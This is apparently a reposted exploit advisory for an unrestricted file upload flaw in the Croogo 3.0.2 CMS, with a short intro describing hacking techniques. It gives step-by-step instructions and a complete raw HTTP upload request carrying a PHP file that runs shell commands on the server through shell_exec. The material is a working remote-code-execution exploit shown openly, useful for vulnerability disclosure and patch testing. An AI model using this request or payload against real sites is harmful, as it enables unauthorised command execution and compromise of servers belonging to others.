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Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

HireHackking 
# Exploit Title: Croogo 3.0.2 - Unrestricted File Upload
# Date: 06/12/2021
# Exploit Author: Enes Özeser
# Vendor Homepage: https://croogo.org/
# Software Link: https://downloads.croogo.org/v3.0.2.zip
# Version: 3.0.2
# Tested on: Windows 10 Home Single Language 20H2 & WampServer 3.2.3

==> 'setting-43' Unrestricted File Upload <==

1- Login with your privileged account.
2- Click on the 'Settings' section.
3- Go to the 'Themes'. Directory is '/admin/settings/settings/prefix/Theme'
4- Choose a malicious php script and upload it.
5- Go to the '/uploads/(NAME).php' directory. You must change 'NAME' parameter with your filename you uploaded.
6- The malicious PHP script will be executed.

POST /admin/settings/settings/prefix/Theme HTTP/1.1
Host: (HOST)
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: tr-TR,tr;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=---------------------------360738881613175158033315978127
Content-Length: 970
Origin: http://(HOST)
Connection: close
Referer: http://(HOST)/admin/settings/settings/prefix/Theme
Cookie: csrfToken=c49348b47c99523135d42caefb6da7148946a8d049dc40e4763b8acb570b77d6d9353ee2be724c716679c9d6f7006a0545dbe68fe77bd8e3019994bef968a67a; CAKEPHP=ba820s2lf013a07a2mhg5hccup
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1

-----------------------------360738881613175158033315978127
Content-Disposition: form-data; name="_method"

POST
-----------------------------360738881613175158033315978127
Content-Disposition: form-data; name="_csrfToken"

c49348b47c99523135d42caefb6da7148946a8d049dc40e4763b8acb570b77d6d9353ee2be724c716679c9d6f7006a0545dbe68fe77bd8e3019994bef968a67a
-----------------------------360738881613175158033315978127
Content-Disposition: form-data; name="setting-43"; filename="malicious.php"
Content-Type: application/octet-stream

<?php
$command = shell_exec('netstat -an');
echo "<pre>$command</pre>";
?>

-----------------------------360738881613175158033315978127
Content-Disposition: form-data; name="_Token[fields]"

c4e0a45b25b5eaf8fa6e0e4ddcd3be00c621b803%3A
-----------------------------360738881613175158033315978127
Content-Disposition: form-data; name="_Token[unlocked]"


-----------------------------360738881613175158033315978127--